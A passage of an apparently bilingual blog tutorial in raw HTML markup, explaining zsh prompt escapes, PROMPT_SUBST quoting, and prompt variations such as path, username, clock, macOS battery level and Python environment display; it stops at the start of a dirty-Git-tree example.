&lt;td&gt;&lt;code&gt;c&lt;/code&gt; ,  &lt;code&gt;.&lt;/code&gt; ,  &lt;code&gt;~&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The substituted path has at least n components.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;D&lt;/code&gt; ,  &lt;code&gt;d&lt;/code&gt; ,  &lt;code&gt;w&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Month, day of month or weekday equals n. Months are zero-based; Sunday is zero.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;T&lt;/code&gt; ,  &lt;code&gt;t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hour or minute equals n.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;e&lt;/code&gt; ,  &lt;code&gt;j&lt;/code&gt; ,  &lt;code&gt;L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Evaluation depth, jobs or shell level is at least n.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;S&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SECONDS is at least n; this is not the previous command’s duration.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;v&lt;/code&gt; ,  &lt;code&gt;V&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;psvar has at least n entries, or its nth entry is set and nonempty.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;l&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;At least n characters have been printed on the line; a negative argument tests space left to the opposite edge.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;For example,  &lt;code&gt;%(!.#.&amp;gt;)&lt;/code&gt;  displays a hash for a privileged shell and a greater-than sign otherwise. Choose another delimiter if your branch text contains a dot. Use  &lt;code&gt;%)&lt;/code&gt;  for a literal closing parenthesis in a branch. Conditionals can nest. Negative condition arguments use their absolute value except for the remaining-width form of  &lt;code&gt;l&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;显示动态信息&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;dynamic-information&#34; data-section=&#34;显示动态信息&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#dynamic-information&#34;&gt;#&lt;/a&gt; Dynamic information&lt;/h3&gt;
&lt;p&gt;The Git branch changes while the shell stays open. I put  &lt;code&gt;$(git_prompt_info)&lt;/code&gt;  inside the prompt so command substitution runs the helper each time the prompt is displayed. This requires:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;setopt PROMPT_SUBST&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Oh My Zsh already enables this option. For a standalone test you’ll need to enable it; the colour variables and Git helper still come from Oh My Zsh. Quoting controls when substitution happens:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token comment&#34;&gt;# 设置时保留函数调用，每次显示提示符时再执行&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;PROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;$(git_prompt_info) &#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token comment&#34;&gt;# 设置时立即执行函数，保存这一次返回的结果&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;PROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;&lt;span class=&#34;token variable&#34;&gt;&lt;span class=&#34;token variable&#34;&gt;$(&lt;/span&gt;git_prompt_info&lt;span class=&#34;token variable&#34;&gt;)&lt;/span&gt;&lt;/span&gt; &#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Single quotes keep the call for the next prompt expansion. Double quotes evaluate it when assigning the variable. I used single quotes for the Git helper and the battery and Python examples below.&lt;/p&gt;
&lt;span id=&#34;常用实例演示&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;common-variations&#34; data-section=&#34;常用实例演示&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#common-variations&#34;&gt;#&lt;/a&gt; Common variations&lt;/h2&gt;
&lt;p&gt;Each example starts with my six-line theme and changes one thing so you can compare the results.&lt;/p&gt;
&lt;span id=&#34;显示完整路径&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;show-the-full-path&#34; data-section=&#34;显示完整路径&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#show-the-full-path&#34;&gt;#&lt;/a&gt; Show the full path&lt;/h3&gt;
&lt;p&gt;Replace the first line of the theme with the following to show the full path:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;PROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$fg&lt;/span&gt;[cyan]%&amp;#125;%/%&amp;#123;&lt;span class=&#34;token variable&#34;&gt;$reset_color&lt;/span&gt;%&amp;#125;&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753534/Typora/2026/10/23/zsh-path-full-clean.png&#34; alt=&#34;Absolute path in the prompt&#34; /&gt;&lt;/p&gt;
&lt;p&gt;To show your home directory as  &lt;code&gt;~&lt;/code&gt; , replace  &lt;code&gt;%/&lt;/code&gt;  with  &lt;code&gt;%~&lt;/code&gt; . Both keep the full directory hierarchy.&lt;/p&gt;
&lt;span id=&#34;显示用户名&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;show-the-username&#34; data-section=&#34;显示用户名&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#show-the-username&#34;&gt;#&lt;/a&gt; Show the username&lt;/h3&gt;
&lt;p&gt;To show the username and hostname before the path, append this line to the theme:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;PROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;%n@%m &#39;&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;&lt;span class=&#34;token variable&#34;&gt;$PROMPT&lt;/span&gt;&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753532/Typora/2026/10/23/zsh-identity-clean.png&#34; alt=&#34;Username and hostname before the directory&#34; /&gt;&lt;/p&gt;
&lt;p&gt;If you only want the username, replace  &lt;code&gt;%n@%m&lt;/code&gt;  with  &lt;code&gt;%n&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;在右侧加上时间&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;put-the-time-on-the-right&#34; data-section=&#34;在右侧加上时间&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#put-the-time-on-the-right&#34;&gt;#&lt;/a&gt; Put the time on the right&lt;/h3&gt;
&lt;p&gt;Append the time to the left prompt after loading the theme:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;PROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;+=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39; %F&amp;#123;yellow&amp;#125;%*%f &#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Or keep the space between directory and input free by setting the right prompt:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;RPROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;%F&amp;#123;244&amp;#125;%D&amp;#123;%H:%M:%S&amp;#125;%f&#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753541/Typora/2026/10/23/zsh-right-time-clean.png&#34; alt=&#34;Time with seconds in the right prompt&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Choose one. The battery and Python examples also assign RPROMPT; assigning it again replaces the previous value. The time is evaluated when the prompt is displayed. It isn’t a continuously ticking clock, and the right prompt gives up space as the command line grows.&lt;/p&gt;
&lt;span id=&#34;显示设备电量&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;show-the-battery-level&#34; data-section=&#34;显示设备电量&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#show-the-battery-level&#34;&gt;#&lt;/a&gt; Show the battery level&lt;/h3&gt;
&lt;p&gt;Here’s the macOS example. Put the function and right prompt after the theme:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function-name function&#34;&gt;sycamore_battery&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token builtin class-name&#34;&gt;local&lt;/span&gt; value&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token assign-left variable&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token variable&#34;&gt;&lt;span class=&#34;token variable&#34;&gt;$(&lt;/span&gt;pmset &lt;span class=&#34;token parameter variable&#34;&gt;-g&lt;/span&gt; batt &lt;span class=&#34;token operator&#34;&gt;&lt;span class=&#34;token file-descriptor important&#34;&gt;2&lt;/span&gt;&gt;&lt;/span&gt;/dev/null &lt;span class=&#34;token operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;sed&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-nE&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#39;s/.*[[:space:]]([0-9]+)%;.*/\1/p&#39;&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;head&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-n&lt;/span&gt; &lt;span class=&#34;token number&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;token variable&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-n&lt;/span&gt; &lt;span class=&#34;token variable&#34;&gt;$value&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; print &lt;span class=&#34;token parameter variable&#34;&gt;-rn&lt;/span&gt; -- &lt;span class=&#34;token string&#34;&gt;&#34;bat &lt;span class=&#34;token variable&#34;&gt;$&amp;#123;value&amp;#125;&lt;/span&gt;%%&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token builtin class-name&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;token number&#34;&gt;0&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;RPROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;$(sycamore_battery)&#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753527/Typora/2026/10/23/zsh-battery-clean.png&#34; alt=&#34;Battery percentage returned by the system&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Without battery information it displays nothing. The  &lt;code&gt;%%&lt;/code&gt;  in the function’s output becomes one percent sign during prompt expansion. The query runs on prompt refresh, without a background polling task.&lt;/p&gt;
&lt;span id=&#34;python-项目-环境和版本&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;show-the-python-project-environment-and-version&#34; data-section=&#34;python-项目-环境和版本&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#show-the-python-project-environment-and-version&#34;&gt;#&lt;/a&gt; Show the Python project, environment and version&lt;/h3&gt;
&lt;p&gt;If you switch between Python projects and environments often, you can show the project marker, environment name and interpreter version in the prompt. Place this function and right prompt after the six theme lines:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function-name function&#34;&gt;sycamore_python&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token builtin class-name&#34;&gt;local&lt;/span&gt; env_name version &lt;span class=&#34;token assign-left variable&#34;&gt;text&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;&#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-f&lt;/span&gt; pyproject.toml &lt;span class=&#34;token operator&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-f&lt;/span&gt; requirements.txt &lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;token assign-left variable&#34;&gt;text&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;Python project&#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token keyword&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-n&lt;/span&gt; &lt;span class=&#34;token variable&#34;&gt;$VIRTUAL_ENV&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;then&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token assign-left variable&#34;&gt;env_name&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token variable&#34;&gt;$&amp;#123;VIRTUAL_ENV&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt;t&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token keyword&#34;&gt;elif&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-n&lt;/span&gt; &lt;span class=&#34;token variable&#34;&gt;$CONDA_DEFAULT_ENV&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;then&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token assign-left variable&#34;&gt;env_name&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token variable&#34;&gt;$CONDA_DEFAULT_ENV&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;8&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token keyword&#34;&gt;fi&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;9&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-n&lt;/span&gt; &lt;span class=&#34;token variable&#34;&gt;$env_name&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;token assign-left variable&#34;&gt;text&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;+=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34; env:&lt;span class=&#34;token variable&#34;&gt;$&amp;#123;env_name&amp;#125;&lt;/span&gt;&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;10&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token keyword&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-n&lt;/span&gt; &lt;span class=&#34;token variable&#34;&gt;$text&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;token variable&#34;&gt;&lt;span class=&#34;token punctuation&#34;&gt;((&lt;/span&gt; $&lt;span class=&#34;token operator&#34;&gt;+&lt;/span&gt;commands[python3] &lt;span class=&#34;token punctuation&#34;&gt;))&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;then&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;11&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token assign-left variable&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token variable&#34;&gt;&lt;span class=&#34;token variable&#34;&gt;$(&lt;/span&gt;python3 &lt;span class=&#34;token parameter variable&#34;&gt;--version&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;&lt;span class=&#34;token file-descriptor important&#34;&gt;2&lt;/span&gt;&gt;&lt;/span&gt;/dev/null&lt;span class=&#34;token variable&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;12&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token assign-left variable&#34;&gt;text&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;+=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34; &lt;span class=&#34;token variable&#34;&gt;$&amp;#123;version&amp;#125;&lt;/span&gt;&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;13&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token keyword&#34;&gt;fi&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;14&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  print &lt;span class=&#34;token parameter variable&#34;&gt;-rn&lt;/span&gt; -- &lt;span class=&#34;token string&#34;&gt;&#34;&lt;span class=&#34;token variable&#34;&gt;$&amp;#123;text&lt;span class=&#34;token operator&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;/&lt;/span&gt;\&lt;span class=&#34;token operator&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;%%&lt;/span&gt;&amp;#125;&lt;/span&gt;&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;15&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token builtin class-name&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;token number&#34;&gt;0&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;16&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;17&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;RPROMPT&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#39;$(sycamore_python)&#39;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792753539/Typora/2026/10/23/zsh-python-clean.png&#34; alt=&#34;Project marker, environment name and Python version&#34; /&gt;&lt;/p&gt;
&lt;p&gt;It checks the current directory for  &lt;code&gt;pyproject.toml&lt;/code&gt;  or  &lt;code&gt;requirements.txt&lt;/code&gt; , reads the environment from  &lt;code&gt;VIRTUAL_ENV&lt;/code&gt;  or  &lt;code&gt;CONDA_DEFAULT_ENV&lt;/code&gt; , and reports the version of  &lt;code&gt;python3&lt;/code&gt;  on PATH. It doesn’t search parent directories or read version-manager configuration. If prompt refreshes are frequent, cache the version after changing environments instead of launching an interpreter every time.&lt;/p&gt;
&lt;span id=&#34;区分-git-工作区改动&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;mark-a-dirty-git-working-tree&#34; data-section=&#34;区分-git-工作区改动&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#mark-a-dirty-git-working-tree&#34;&gt;#&lt;/a&gt; Mark a dirty Git working tree&lt;/h3&gt;
&lt;p&gt;I gave clean and dirty trees the same suffix in the original. Change DIRTY to add an asterisk when the tree has changes:&lt;/p&gt;
